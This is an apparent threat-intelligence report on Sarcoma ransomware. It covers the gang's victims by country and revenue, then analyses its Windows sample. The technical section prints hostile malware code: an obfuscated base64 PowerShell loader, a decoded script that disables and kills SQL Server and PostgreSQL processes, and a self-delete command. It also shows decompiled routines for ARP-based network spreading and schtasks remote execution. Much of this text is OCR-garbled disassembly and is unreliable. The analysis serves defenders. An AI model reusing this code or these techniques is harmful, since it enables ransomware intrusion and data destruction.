Sarcoma Ransomware Unveiled:
Anatomy of a Double Extortion Gang

Introduction

Sarcoma Ransomware has been one of the most active ransomware gangs in recent
months. First detected in October 2024, it quickly evolved from an emerging threat into a
major concern for the cybersecurity community. In a short time, it has attracted significant
attention due to its aggressive operations and the increasing number of successful
compromises across multiple sectors and regions.

Sarcoma uses advanced tactics like zero-day exploits and RMM tools for network discovery
and credential theft. In October 2024, they exfiltrated 40 GB of sensitive data from Smart
Media Group Bulgaria, showing their strong ability to breach networks.

Sarcoma targets high-value companies across industries, including Unimicron and TMA

Group, causing major disruptions.
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Figure 1: Sarcoma Data Leak Site

For these reasons, the Security Research team of the Observatory of Cybersecurity of
Unipegaso decided to conduct a comprehensive and in-depth analysis of Sarcoma’s
capabilities, tactics, and evolving threat landscape to better understand its methods and help
organizations strengthen their defenses against this increasingly dangerous ransomware

group.
About Sarcoma Ransomware

At the time of writing, Sarcoma Ransomware has targeted 100 victims. The USA, Italy, and
Canada are the three most impacted countries, as shown in the graph below.
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Figure 2: Victim per country of Sarcoma Ransomware (Credits: https://doubleextortion.com/)

The United States remains the most targeted country by Sarcoma Ransomware, with 19
confirmed victims. This trend aligns with patterns observed in many major ransomware
campaigns in recent years. The U.S. remains a prime target not only because of its large
number of organizations with critical digital infrastructure but also due to the perceived
higher likelihood of ransom payments. Additionally, reporting standards and cybersecurity
transparency in the U.S. may result in more frequent documentation of such attacks
compared to other regions.

Beyond the United States, several Western countries show significant infection counts. Italy
and Canada each have 8 victims, while Australia has 9. Along with the United Kingdom and
Brazil, these countries comprise the top tier of the most targeted nations. Notably, the United
Kingdom and Spain are also among Sarcoma's primary targets, reflecting a broader trend of
attacks on Western nations.

These incidents underscore Sarcoma's focus on high-value targets and its ability to cause
significant operational disruptions. In response to these threats, cybersecurity experts
emphasize the importance of implementing robust security measures, such as timely patch
management, network segmentation, and employee training, to mitigate the risks posed by
such advanced persistent threats.


https://doubleextortion.com/
https://www.cyfirma.com/news/weekly-intelligence-report-11-apr-2025
https://www.cyfirma.com/news/weekly-intelligence-report-11-apr-2025/?utm_source=chatgpt.com
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Figure 3: Revenue ranges stats (Credits: https://doubleextortion.com/ )

The analysis of revenue ranges among Sarcoma ransomware victims shows that the $1M—
$10M bracket has the highest frequency. This may indicate a sweet spot for threat actors
targeting organizations with enough financial capacity to pay ransoms but potentially less
sophisticated security defenses than larger enterprises. The $10M-$50M range, the second
most affected, reinforces this trend, suggesting a sustained focus on the mid-market, where
the balance between valuable data and exploitable vulnerabilities is seen as optimal.

Although significantly lower than the previous two, the $100M—$250M range still represents
a notable portion of victims. This implies that even organizations with more substantial
security investments are not immune and may fall prey to more sophisticated or targeted
attacks.

Technical Analysis

We managed to hunt a sample of Sarcoma ransomware for both the Windows and Linux
versions.

Windows Version

The Windows version with the hash:
e 6669cfeba5619b6f4d80b1281adfe69c87d845ebaaf9e83c25efa01a8267e751


https://doubleextortion.com/
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The sample is written in C++ and statically imports the CryptoPP library, which is used to

encrypt files on the infected machine.

Analysis of the samples reveals a notable evasion technique: the malware checks for the
presence of the Uzbek keyboard layout (LANGID 0x0443) on the infected system. This
behavior suggests an intent to avoid infecting systems in specific regions, indicating a

possible origin of the threat actor in that country.

Sarcoma ransomware deliberately avoids infecting systems in certain geographic regions,
notably Uzbekistan. This selective targeting implies that the attackers have implemented
safeguards to prevent execution on devices associated with that country, likely as a strategy
to evade local law enforcement or scrutiny. Such behavior is common among organized
cybercriminal groups that operate internationally but seek to minimize risk in their region of

origin or in countries with which they have affiliations.

The exclusion of Uzbekistan as a target provides valuable insight into the possible origin or
geopolitical considerations of the attackers, highlighting the calculated and region-aware

nature of the Sarcoma ransomware campaign.

The pseudocode used to avoid infection on systems with the Uzbek LCID is as follows:

if ( (unsigned __int8)mw_Keyboardlist_evasion() )

mw_remove_ransomwarepayload();
return 0;

}

Code Snippet 1

The details of the infection of the “mw_Keyboardlist_evasion” are the following:

s x wanws w —————— — o

i _Keyboardlist_evasion()
r
!
unsigned int KeyboardLayoutlList;
int64 re 1t;

- int16 *v2;
intl6 *v3;
int8 va;
int8 v5;

151
unsigned
unsigned
unsigned

= GetKeyboardLayoutList(®, @);
1t = 0
if ( ] )
{
= ( ened )sub_SFa7E@(8LL *
memset(vz, @, 8LL * 1 t )
GetKeyboardLayoutList( ] s (H v2);
do ’
{

=‘mwicheckKeybca"dadmitted ) H
if ( )

break;

+= 4;

}
while ( &/2[4 *

= 3
j_free_@(v2);
return H

1

J
return ;

}

movdqu
mov
lea
movups
movdqu
mov
movups
movdqu
mov
movups
movdqu
mov
movups
movdqu
mov
movups
movdqu
mov
movups
movdqu
movups
nop

test
jz

xmm@, cs:xmmword_6A49F8
[rsp+118h+var_48], 443h ;
rsi, [rsp+l18h+var_C8)
[rsp+118h4var_B8], xmm@

LCID of Uzbekistan

[rsp+118h#var_| 5
[rsp+118h4var_78], xmm@
xmm@, cs:xmmword_6A4A48
[rsp+118 ar_D@], @

[rsp+11 ar_68], xmm@
xmm@, cs:xmmword_6A4ASE
[rsp+118h+var_58], xmm@
dword ptr [rax+8eh]

; CODE XREF: mw_checkKeyboardadmitted+1724j
rdi, rdi
short loc_4@2AC9

Figure 3: Keyword check evasion technique
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In other words, the malware checks the keyboard layouts installed on the machine using the
GetKeyboardLayout API. If it detects a keyboard with the code 0x0443, the malware
removes itself using a specific PowerShell command and then exits.

"powershell -w h -c Start-Sleep -Seconds 5; Remove-Item -Force -Path \""

Code snippet 2

The malware uses the same PowerShell script at the end of the encryption process to cover
its tracks. Then, Sarcoma Ransomware Kills all processes related to DBMS, such as
MySQL. It calls the WinExec API to run a heavily obfuscated PowerShell script, as shown in
the figure:

cC int3

—_— 48:8BC4 MoV rax,rsp wWinexec
48:8958 10 e 1 IndOW HId -noninT -comMand 3 NEW-OBJECT S
48:8970 18 ow PIE\ -noninT -cc anr"(I " . ( $sHeLl NEW-OBJECT sYSTeM.io
4818978 20 'nnvhq\nm'd ptr ds: oW HId -noninT -comMand ¢ $sHeL1Id[1]+5s JECT systew.io.STREAMF

push r

3818068 C8 o000 lea rbp,aeord ptr 4 Modificare i dati a 0000000000S730AD o
48:8B05 FE990400 mov rax q\.\urd ptr
48:33C4 XOF rax,rsp
ST as ) gﬁ'orgdztr ss:lirbprzofl,rax Hex  Stringa  Copy data
48:8BF1 ov rex

- 53035 JE:SEkeerq;éhz 7FFBO652EBAT s e el
45:33C0 xor rad,rad
48:C74424 sa 3000000{ mov qword ptr s poweRSheLL -NolOGe -noprOFil -wIndOwW HId -noninT -cOmMand " .( $sHellId[1]+$SHELID[13]+'%') ( NEW-OBJECT
4Gionacad S8 e sYsteM.io.stREAMreaDer( ( NEW-OBJECT i0.cOMPReSSION.defLatEStrEaM([i0.MeMOrySTREaM]
41:8D50 01 Tea edx,qword ptr [ConVERT]: :fRomBAse64strINg("VVhdqy0SEf0rS0G4MSBIKgI0)yBBEUVIIKBIGOSKkQGDhhmib-+p/[7Wq9z53Xmb27XNO70rY
FF15 373D0100 €all gword ptr

EELS T o gl +qp8zP7H3/7j0//dn37¥3/3r8/F7]
OFB84 2A010000 je kernei3a. 7FFa0652E983 vHMNxzcfXyTELXI6kbBg3SKHISCniEyRAFNCIrIrcCnOFOA00TIp4 pnEvFMcKleKXWiaki4 vi49poYrRZd0SUxLg50YBZSmEBRLZLTHIHL
3@5235’33 ég oo and gword ptr ss: ) bEjLdSLVNinklvzUSCbCnuVLsE2ale1ZXqdcolQS6Rw2lulv2pNIwfeiuhjlpdgreqSoVLkCaiQaTOVGeKKsWuMhLe6yWaxznilalHje
48:336424 28 00 XS0J0IkEsrymssurSn0ivL 8Vk0jnIn9ZovCXGkOFHENRLKCWIC1Vg3md1tT gIx0x18Aizn OvWzSLR557qUsUlIUivFadMcar0FC
48:8D4D FO +0BZUfbFVNrECPndRLCLeE7EXyEom3hLLr4Y7cCt4bSpFnPdpS3hLkT jpSXIgbhNkSCXhRK34kqRLBROYS9TYkt4pYireGmUtc6naF
DEGHXxSdGdqGFg1ialpHUS3XAZ4iIpFox089u7SICXKmukpoEecdqY pypdtWBZmRnP+/P+LaEfNVESWs
+VfR24tdloZo8S31AbDOXCLYSIZXSStEPERCOEWNIOWKYQBVPKT HdWu2n1t5mjZ7PHPBOIr 1 SxBhBDWCIOgmFOCTIRGraKFNC3hhD
PVetraxidgnBkOdUBNeal 1GdiDE4FC+i/QBSAYT riVwT CRsICIUVDgw7pm7ZNRIE3jvPVbK3tVX90

<

48:C74424 20 umnnun

FF15 EESC0100 call .tr ds: [<UpdateProcThreadAtt! +LjBwWRYAYIC5ZenPURRTBw1GqrokRuABfhLFHef4qnCcBBU3zucWOTEQjO5Nti4BwMYhwm16UdAgdulWwijCEJkG50ZR7RR3rr
- . %% ;ﬁztk:ﬁgéﬁz.?wansszsasﬂ dguLOOVBgBIYENUHGShQLIxBERO3s

3308 xor ebx,ebx +0i2A5EgEDEd3qlclFt7QcadALZrIMQmMLERMAVABIPARAQr5Z0ybDMGOUQSHYehDrOUPrFGC4s0x3MON/
200000000057 304D - ERSh;LLEB nr::IE;ﬂ:ﬂ —noproFil kanmﬂ HId FFnic:lﬁsnTngtvaand 0 unlruz7Sulz8nessMoVogfZa) Vv SrHugH/ Cr2z+ 1VYD7ABF3gpM/
d ptr ss:[rbp-10]=[FFFFFFEFFFFFFFFO]=777 HeV0XwlIS9WxIKcyU6QOUIANmIIzgNDOSENXUcaZVj26SB4ILCrCOUsdZ7nrOerhz3MfdSeFhhPWFIP

+KQY|6dTo0NGLSKORKpINGikRPZIRL +KkalRVETpgftUySUDe0TysX8PWqn27NRQDFa31KIQXkSWAONAGKGICZXNF4ILHT XajwG

EcononzREsoes SRR Rkenne 32 I ST ERS RASD4S) +dBiliwl HF4BVpCUOfmi+ztBFZGDStQqIE]¥jsrGGhxkibg7squ4lsMBHY/ rdZ6wP45HEM4bNbDgsgCmsL ye4/1++ha/

Jumpl  @4Dump2 @4Dump3 @YDump4 E@WDump5 @ Vedi1  bellocals ' Stru qeVXCZMpgBaKyUMEKNawLwuTzov+47zAJsSulndLFH

sz = AT “+cl4jcLzihyktCAazBYGCFOGEPEYE]IStDZqkBY0CoQDS4NMhERbYMzChigeullukhsodUdka7scldZROFINNDoxLY CeyMsxgkSItFQeg
0DO0D0S73E70 | 32 2F 2F 4C|78 35 31 2F |33 66 2F 2F |6C 34 79 64| 2//Lx51/3f//14yd Q+IAsFVI/VBIKNgk+RIIwWN2gy1iRjbYs1gmIciin1 00utT/CCGCgVRshQ

ggggggggégg 5; 55 ?2 gg i; g; gg gé gz gg ?; :; i; 52 25 2? éitﬁé?”“”‘;‘é*‘:z +HKmZkzzxVERQWpFIAFTIXKEWWmHk4DQQsrSNtkhLIOQHIDEXIKDRCgWbUnurFTkPbF7 InkX+TL/

000000973EAD | 4D 50 52 45|73 53 49 4F [6E 2E 63 GF 4D 70 72 65 |MPRESSION. CoMpre 0GBqcFMouPwzIDJOONBHOMIXLNI+Qy/AKShOww8860r3eQnzCSAIFTQDChyn/

000000573EBO| 53 53 49 6F | 6E €D 4F 44/65 5D 3A 3A|64 65 43 4F| SSIonmoDe]::deca ZjCCuDAVWcbwiBWmMuAwgDYUGCIECFzmEeMUWCLrSKQFAFObfpek3Tshb/Ox\Waxapi

DODODOOTIECT |60 S0 SZ 45|53 72 20 29120 29 2¢ 5|73 79 53 s4mPRESs ) JalsveT +Z3vAGUKSCFRPDEGLxg3]QUEGDKILZ0+QoHinESdPirfydDfhZCqDpl2mFSCOy4i1kqlUIwuRVbeEQKZBzZjpPu3FaGg/
000000973EEO (5D 3A 3A 61|73 43 69 69(29 29 2E 72|65 41 64 54 ]::S?cﬁj).reﬂﬂ oCjWaeAw7sEvytUTkmwb4e6IumZhXX3XEELAYAKREX4jwWF+bgnkfRrNgbp4GwrjBODshZiNOsvmkeFnPAAY
00000097 3EFO | 6F 45 4E 64|28 29 22 0A[00 00 00 00 DENd()"

000000973F00| 00 00 00 00|00 0D 00 00|EF 88 FB €5 +SkBkwaRS95GsCS7SLgKkmbWLIhRzY48sLiamMIPaPZwAfDNbIXSmNtRCMmMS 6yZGqsOhofBSMukaiRWkzCOBRhbWhh
000000973F10| 20 GE AD 00|00 00 00 00(B0O OF AD 00 +km4D1uSUPWxV4EoF{VdFyK?SatksEHngLquMaObIQquYthShhSECWEsch

nn0nnnazaE>n | B on A dnTAD DN DN AN | Bn (0 no DTAN DN A0 00 -

Figure 5: WinExec routine to launch the PowerShell

The encoded PowerShell script is as follows:

poweRSheLL -NolOGo -noprOFil -WINdOW HId -noninT -cOmMand " .( $sHeLlId[1]+$SHEL1iD[13]+'x")
( NEW-OBJECT sYsteM.io.stREAMreaDer( ( NEW-OBJECT

io.cOMPReSSiON.defLatEStrEaM([i0.MeMOrySTREaM][ConVERT]: : fRomBAse64strINg( 'VVhdqy@5EfOr50G4M5BIKqle
Jy8BEUV9iKBiGOSkkQGDhhmib+p/17Wq9z53Xmb27XN070rV+qp8zP7H3/75j0//dn37Y3/3r9/P7/vHNxzcfXyTELXI6kbBg3SK
H15CniEyR4FNcIrlrcCnOF0900I1p4pnEvFMcKleKXWIaki4Jvi49poYrRZdOSUXLq50YBz5m8RLzLTHIHLbEjLA5LVNinklvzU
5CbCnuVLsE2al61ZXqdcolQS6Rw21uIV2pN1IWf6iUhjlpdqreqSoVLkCaiQ6TOVGeKK8WuMhLebyWgxznilaJHjeXS@JOikEsry
mssurSn@ivLo9VkOjnIn9ZovCXGkOFJtENRLKCWiC1Vg3md1tTgIx0x18AiznCvVzSLR557qUsUJIUivFadMcar@FC+0BZUfbFVvN
rECPndRLCLeE7EXyEom3hLLr4Y7cCt4b5pFnPdp53hLkTjpSXIqbhNIk5CXhRK34kgRL8ROY59TYkt4pYireGmUtc6nOFDtGHXX
SdGdqGfglialpHU93XA74iIp9Fox089u751tCXKmukpoEec9qYpypdtWBZmRnP+/P+LaEfNV6sWs+VFR24td1oZo8S3IAbDOxcCL
ysiZxsStEpERCOEWNIOWkYgBVPKTHdWUON1t5mjZ7PHPBOIr1SxBhBDWC10gmFOCIiR6r9KFNC3hhDPVctrAx1dgnBkOdU8Neal
1GdiD64FC+1i/QBSAYTrIVWTCRSICIuVDgw7pm7NR1t3jvPVbK3tVX90+LjBwRYyAYIC5ZenPURRTBw1Gqr6kRUuABfhLFHef4qnCc
B8U3zucWOTEQjO5Nti4BwMYhwml6UdAgduUWwfjCEjkG50ZR7RR3rrdgulLO0VBgB1YENUHGONQLNXx8eRQ3s+0i2A5Eg6DEd3qglc
1Ft7QcadALZrIMQmLzRMAVA8tPdRAQr5Z0ybDMGOUQSHYehDroUPrFGC4sox3MON/unlruZ7SulZ8nES5MOVoqfZal/vhwhe5rH
ugN/Cr2Z+1VYD7ABF3gpM/HeVOXw1ISOWXxIKcyU6QOUIAnNm1IzgNDO8ENXUcaZVj26SB41LCrCOUsdZ7nrOerhz3MfdSeFhhPWF
IP+KQYj6dToonGL5KORkpiINqikRPz1RL+KkalRV6fpgftUy5UDe@IysX8PWqn27NRQfDFa31K9QXk5wAonAgXqIc2XNF4iLHTX
ajwG+dBiUwLHf4BVpCUOfmi+ztBFZGDstQ6qIEjYjsrGGhxki6g7sqv41sMBHI/rdZ6wP45HEm4bNbDgsgCmsLyed/1++ha/qeV




Universita Pegaso
) Osservatorio
# sulla Cybersecurity

xCZMpgBaKyuMEKNawLwuTzov+47zAJs9ulndLFH+c1l4jcLzihyktCAazBVGCFOG8PEYEj1StDfZqkBYoCoQDSANMh6RbYMzCbiq
culukhxxkjUdka7scldZROF9nn@cxLYCeyMsxqk9ItFQcqQ+JAsFv1/VbIKNgk+RIJIwN2gy1iRjbVslgmIciIn100utT/CCGCgV
RshQ+KmZkzzxV6ItQWpFjAFTIXKEWWMHk4DQQsrSNtkhLi®@QHID8X1KiJRCgVbUnurFTkPbF71nkX+TL/0GBqcFMouPwzIDJOON
bHOMFXLN1+Qy/AK5hOww8860r3eQnzCSA1PTqIIChyn/ZjCCUDAVIWCbwiBWMUAWgDYUGCI6CFzm6MUWC LrSKQFAFObfpek3Tshb
/O0xWxapi+Z3vAGUK5CFRPD6GLXQ3JQUEGOKtLZO+QoHinE8dPirfydDfhZCqDpl2mF5C0y4ilkqIUIwuRWbeEgKZBzjpPu3FaGg
/0CjWdeAw7 sEvxytUTkmwb4e6Jum7hLxX3XEELAYAKRtX4jvvF+fbgnkfRrNgbp4GwrjBODshZiN@svmkeFnPAAy+SkBkwaRS9S
GsCS7SLgKmbWLihRzY48sLiamM1PaPZwAfDNbiXSmNtRCMMS6yZGqs@hofBSMuk9iRWkzCOBRhbWhh+km4D1uSUPWXVAEoOF /VdF
yK75etksEH1JglLuioQo4e0b/QTm4YRhpShh63CwWEs2c/4uSwCBsx4+cxmLu9FYkAs38UwWROKNIPFZeOHQSGsqMIBIMA/EFYWISt
AQYyXMQWJ /FELUVIErY+SNUO14XvAjyAiln3IKeGyV+VLCOTrQ9cawf4pen+lgaulvbYEWEHDk+xB+3zP4bdkEwzcRh4NRhMhv5D
CsD131VRr6DCFiq4F3vm4RO5sLGj1GTE/kH1nss4X3xpWMoqzUTgMOUHWbinGo26SxJe@mjSi2pFUgLbabuCPfp8BLz3IVwoIho
p8HxJLuwBg1lnZWaCzU9Gpr7ZpyKU4g6t5PXArafmPCZuNBerwWEcOwvXrM3yQYWoK+e28SiNKJItRruXi/ZaIJimABIQSFmfyN7ho
oWWEhEux@ZAcbBkegq953IfiupGkADhdrixaeCAH30UuC5A8CRqWdOigzFigtI6TgfiT6INPmmVdmolldksO3USKRRYkbE9SCMuQ
J5QAnQ5bjwmSMRbaH5y jWy@nWInU2iTgPIRPubktheKVFfxt2e5aVrzxpBbBshudRpQXWLW] 5tqQBX9KD3SAZ4v60CTIOFNFdXpg
c6Xg/4PxkB3NtqFCA2ABCOihAGDTRfVKOM2gq9t50hjMyVDpbdV21/Nw+6G7dPO+FLEiceBsVE+HYEJEL+g/BIB9s7IaEQCtkv8a
Fg2e+4jmMg7uPDkYFoJa3zmh24uu9Ton6imaBjVECq5XzaD8pPcTNK29fOWGCwLwhxs25mvrSxC93pFQkFQAtppYRQWIAZh7F3W
ZaJkDKOos1l+muni6bPSNu6Lt6pCQeeR+gvnP81eSK9LIc1sYr6P2s9yv1dgVXXqMo65SGtYNgK2xINAdPGEBWLgsU7xMMip8tfb
xgkUrNxw+xfaTcfdg90MQe8okk/H9IGMkKss2HBAAZXcvCDKPI+0ypFWoQ+fQKb96mIS8KeIouubDtF1loGmQUhZs2PLdcyFC8Un
gayk3VUUELCIch1H9r11/I0ZYVYIqVQmamwBlcnvsR4KIk27C5zSBh7BJweWAHe@Xud5CE3GoeZ2kVcYO3S1R93tqtQkl1Ksv+x
CaCdUc3NiBgG8/nAY1GaEVq502Fe99UQN5QDPIkg+YTRG6T72mYX5/zNaljwvsKcjZq3jStl/0UzAaHKGgV/1XspoX3Y3afAMW7
JErjlYV/SGnrAS5/IB/YHrwIAuh64nEQ7ECcPxx99Q1cWs1UnKIA6220cTcul+OWn//rhn7/+wzcfX9b01+1G3+3Lx7cf//31b3/
3i/tvv/rdzzcff/7533+2//Lx51/3f//14yd//fZ/337433w/+xf84v8B") ,
[I0.coMPREsSSIONn.coMpreSSIonmODe]: :deCOMPRESs ) ), [sySTeM.Text.enCodING]::asCii)).reAdToENd()"

Code Snippet 3

This PowerShell script is heavily obfuscated with multiple layers, but the final stage is as
follows:

function s( ${s} ) {

Get-Service | Where-Object { ${_}."displ AYnA Me" -like "*$s*" } Set-Service -
StartupType ("Disabled") -ErrorAction ( "SilentlyContinue") ;

Get-Service | Where-Object { ${_}."DI sPlaYNa'ME" -like "*$s*" } | Stop-Service -Force
-ErrorAction ("SilentlyContinue");

Yo
& 's')( "sQL" );

&('s')( "sql" );

function p( ${P} ) {
"wmic process where name like" + "'%$p%'" + "delete" ;

};

& ( 'p'" )("sqglservr") ;

& 'p" )("pg_ct") ;
(. 'p' )("postgres”) ; & ( 'p')("sqlwriter”) ;
& ( 'p')("SQLAGENT");
.("p")("sqlbrowser") ;

foreach( ${P} in @( "sqglservr.exe", "sqlwriter", "postgres.exe", "pg ctl.exe", "sqlagent.exe",
"sqlbrowser.exe" ) ) {
Stop-Process -Name ${P} -Force -ErrorAction ( "SilentlyContinue") ;

Yo

Code Snippet 4

The analyzed PowerShell script is designed to disable and terminate services and processes
associated with database systems, primarily targeting Microsoft SQL Server and
PostgreSQL.
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The script defines two functions. The first function disables and stops Windows services
whose display names contain specified substrings (e.g., "SQL"). It achieves this by querying
all services with Get-Service and filtering them based on the DisplayName property, which
is deliberately obfuscated using PowerShell escape sequences to evade simple static
analysis.

The second function constructs wmic commands to delete running processes that match
specified name patterns.

Network Propagation

After that, the ransomware implements a sophisticated spreading routine within the network
to infect as many machines as possible.

BY U2 UZUU U mov ecx ,2uz
FF15 15C7 1400 a1y qword ptr ds : [<WSAStartup> ]

85CO0 test eax ,eax

~ OF85 D3F5FFFF jne 6669cTebas619b6F4dB80blz81adfe69c87dB45ebaaf9e83c25eTanlas8267er51. 5FCCDE
ES8 DODS0EOFF £all’ eee3cfebasel9beTadsoblz81adfes9c87dsasebaaroes3c2sefanlas2e7er751. 4067ED mw_spread
FF15 FACE&1400 gall| qword ptr ds : [<WSACTleanup> ]

Figure 6: WSAStartup to spread the ransomware inside the network
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SizePointer = 0;
GetIpNetTable(@, &SizePointer, 0);
v@ = SizePointer;
if ( SizePointer )
{
vl = (struct _MIB_IPNETTABLE *)sub_SF97E@(SizePointer);
memset(vi, @, v@);
IpNetTable = GetIpNetTable(vl, &SizePointer, @);
if ( !IpNetTable &% vi->dwNumEntries )
{
do

pAddr = vi->table[IpNetTable].dwAddr;
if ( inet_ntop(2, &pAddr, pStringBuf, @x16u) )
{
Block[@] = v9;
sub_5B@44@(Block, pStringBuf, (__int64)&pStringBuf[strlen(pStringBuf)]);

mw_send_ping(plock);
31C = 2 )

sub_402E60(Block, pStringBuf);

mw_copy_ransomware( (int)Block);

if ( Block[@] != v9 )
j_free_0(Block[@]);

¥
Sleep(@x64u);
++IpNetTable;
t
vl = @;
socket(2, 3, 1);

v3 1= -1)

v4 = *al;

to.sa_family = 2;

if ( inet_pton(2, v4, &to.sa_data[2]) <=0 )

goto LABEL_7;

buf[1] = @;

[e] = 8;

=1;

= _getpid();

*(_DWORD *)optval = 5000;

v9 = ~((((unsigned __int16)(v1@ + 9) + (((unsigned int)vie + 9) >> 16)) >> 16)
+ vie
+9
+ (((unsigned int)vie + 9) >> 16));

setsockopt(v3, OxFFFF, 4102, optval, 4);

if ( sendto(v3, buf, 8, @, &to, 16) == -1 || (fromlen = 16, recvfrom(v3, vi4, 64, @, &from, &fromlen) == -1) )

LABEL_7:
closesocket(v3);

}

else

closesocket(v3);
return 1;

}

Figure 6: Static view of the network discovery



4C:BDBC 24 38
C74424 38 00000000
4C: BIEA
ES 13DB07 00
8BEC24 38
48:85D8

~ DF84 63010000
45:83D9

ES BEZ2F1F 00
49: 8908
3102
49:89C4
43:89C1
ES AGB20800
45131C0
4C: BIEA
4C : B9EL
ES EODAO7 00
89C3
85C0

~ OF85 16010000
41: 880424
85C0

~ OF84 DAOL0000
4C:BEZD CE353400
48:8D7424 40
4C:8D7424 3C
4C:8B3D 22313400
48:8D6C 24 7O

by

lea ri3,qword ptr ss:[rsp+28]

mov dword ptr ssiffrsp+38],0

mov rdx ,ri3

€&l <IWP.&GetIpNetTable>

mov ebx ,dword ptr ss:[Irsp+2E[]

test rhbx,rbx

je 6669cfebas619b6f4daobl281adfec9ca7ds4s ebaafaes3c2s efaolas267e751. 406970
MoV rcx ,rbx

€all &689cfebat619b6F4d80b1281adfe69ca7dB4E ebaaf9elic2sefanlalz6r e751. SFI7ED
mov r8,rbx

xor edx ,edx

mov riz ,rax

mov recx ,rax

€all| <IMP.&memset>

xor rad,rad

mov rdx,ri3

mov rcx ,riz

call <IMP.&GetIpNetTablex

mov ebx ,eax

test eax,eax

jne &663cfebass19baf4dB0bl1281adfe6acETdE4E ebaal JeB3c2Eefanlas267 e7sl. 406960
mov eax ,dword ptr ds:i[riz]

test eax,eax

je 6669cfebas619b6f4d80b1281adfe69ca7dB45 ebaaf9es3c25 efa0las267 e751. 406960
mov ri3,gword ptr ds:[<inet_ntop> ]

lea rsi,gword ptr  ss: p +40[]

lea ri4,qword ptr 3C
mov ri5 ,qword ptr
lea rbp,qword ptr
lea rdi,qword ptr Brsp+soff

imp e669cfebas619b6f4ds0bl281adfe69cs7d845 ebaaf9es3c25efa01a8267 8751, 406895

Figure 7: Dynamic view of the network discovery
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[rsp+40] : WSCWr i teNamespaceor der 32+30E8

The routine begins by invoking GetlpNetTable, a native Windows API that retrieves the local
ARP (Address Resolution Protocol) table. This table provides a snapshot of devices that
have recently communicated on the local network segment, including their IP and MAC
address pairings. Importantly, this approach allows the malware to passively discover nearby
devices without sending any active scan traffic at this stage, helping it remain under the
radar of most intrusion detection systems.

Each retrieved IP address undergoes a reachability check via the renamed mw_send_ping
routine. This function implements a low-level ICMP Echo Request ("ping") mechanism using
raw sockets to test reachability to a specified IP address. This method allows the malware to
verify that a host is online and accepting network traffic before attempting any more invasive

actions.

If the ping is successful, the malware records the responsive IP address using
mw_add_to_vector, potentially maintaining a list of confirmed targets. It then immediately
calls mw_copy_ransomware, indicating an intent to replicate its payload to the remote

system.

An extract of the mw_copy_ransomware routine is shown in the following figure:
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SUL_ LU | Ll JOIL LU Ry LU U t%JLLUr L LIILURE YW U S s T U S ILa0 g,

E CopyFilea (_-_._:1_ gFileName, lpMewFi
|| unsigned  int8)mw_net_use_ copy({&1pEx v51, &Block) )
{
if ( (unsigned __ int8)mw_create_cmdline(al, &lpNewFileName, w51, &Block)
|| (unsigned n--)me_[reateprocess _withlogon(

( nt)&1lplewFileName,

(int)vsl,

(int)&slock,

(int)vse,
(int)lpExistingFileName,
(iﬁtj. 7,
(int)1pNewFileName,

*( nt *}jv3g,
4p,.ml28i_izz2[e],
4p.ml28i_izz[2],
(_H:j.—_:

42) )
1
w15 = 8;
¥
else

Figure 8: Remote copy of the ransomware payload

It first tries to copy the file using CopyFileA. If that fails—due to insufficient permissions, for
example—it falls back to a helper called mw_net_use_copy. In the first case, the malware
uses SMB shared folders; in the second, it uses the Windows net command.

Then, it sets up a scheduled task using schtasks. The task runs immediately and is deleted
afterward. This allows the malware to launch its payload with elevated privileges without
leaving persistent traces. It's a well-known trick, but effectively used here—ideal for “one-
shot” remote execution with a minimal footprint.
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mw_net commandl{({ inte4)8&v13, “schtasks /Create /5 ", al);

mw_net_command (&v15, (_ inte4)}&v13, " /U Administrator /P password /TN \"RTY" /TR \"");
vd = (_ ml28i *}sub 581C38(&v1S, { BYTE *)*a2, az[1]);

Block[@®] = v18;
if ( (__ml1328i *)v4->ml28i i64[8] == &v4[1] )
1
v1a[@] = _mm_loadu_sil28(v4 + 1);
¥
else
1

Block[®@] = (wvoid *)v4->ml28i is4[e@];
*(_QWORD *)&v1s[@] = w4[1].ml28i_is4[@];
¥
Block[1] = (void *)v4->ml28i i64[1];
vi->ml28i_i64[@] = (_ inte4)v4[1].ml28i_ i64;
vi->ml28i_i64[1] = 8;
vi[1].m128i_id[@] = @;
mw_net command({ ml28i *)}lpCommandline, (_ int64)}Block, "\" /SC ONCE /ST @@:88 /F");
if ({ Block[®] != v18 )
j_free_B(Block[e]);
if ( (_BYTE *)viS.ml28i is4[@] '= viE )
j_free_&((void *)vis.ml28i_ie4[@]);
if ( (_BYTE *)wi3.ml28i_ie4[@] '= vid )
j_free_&{(void *)v13.ml28i_ie4[@]);
Processf = CreateProcessA(@, lpCommandlLine[e], @, @, @, @xSoeeeeou, @, @, 8, 8);
result = 83
if { ProcessA )
1
mw_net_commandl({_ inte4)Block, “schtasks /Run /5 ", al);
mw_net_command(&v13, (_ inte4)Block, " JTN WV'RTV"");
if ( Bleck[®] != w18 )
j_free_@(Block[@]);
w7 = CreateProcessA(@, (LPSTR)v1S.ml28i_is4[®@], @, @, ©, OGxS000000U, @, @, B, @);
result = @;
if (w7 )
1
mw_net commandl(( inte4)Block, "schtasks /Delete /5 ", al);
mw_net_command(&v15, (_ inte4)Block, " JTN V'RTW" JF");
if ( Block[®] != w13 )

[&]

Puow

Figure 9: remote execution through schtasks

To use these command lines and the schtasks utility, the malware needs to authenticate
itself to the target machine. It does so by using the LogonUserA call with an authentication
token.



const CHAR *UE //ra
n-” r7

un51gned 1nt VB

HANDLE hToken; // [r B
struct PROCESS INFDRMATION ProcessInformatlon,
LPSTR 1 'Tand--ne [2]5 // [rs

rbp-DBh] BYREF

Struct STARTUPINFDA StartupInfo, 1T

vb = *ad;

hToken = @;

if ( !LogonUserA(*a3, *al, v6, 2u, @, &Token} }
return @;

7 = *az;

v = az2[1];

memset(&ita'..*Z

sub 5329:9(
if ( CreatePro

V7, v7 + vE, 8);

mation.hProcess);
iation.hThread);

¥ else

Encryption Routine

CloseHandle(hToke

Figure 10: Remote logon

by
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Token, @, lpCommandLine[e], @, @, @, @, @, @, &startupInfe, &ProcessInformaticn) }

After the propagation phase, the malware begins enumerating what it needs to encrypt. It
uses a multithreaded routine to iterate through a list of target folders, which is as follows:

‘$recycle.bin’
‘config.msi’
'$windows.~bt'
'$windows.~ws'
‘windows'

‘boot'

'‘program files'
‘program files (x86)'
‘programdata’

'system volume information'

‘tor browser'
‘windows.old'
'intel’
'msocache’
'perflogs'
'x64dbg'
'public’

‘all users'
'default’
'microsoft’
'‘appdata’
'Microsoft SQL Server'

Table 1: Explored Directories
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Notably, the malware simultaneously maintains a list of excluded, uninteresting file
extensions. The list is as follows:

'.386'
adv'
ani'
"bat'
".bin'
'.cab’
'.cmd'
.com'
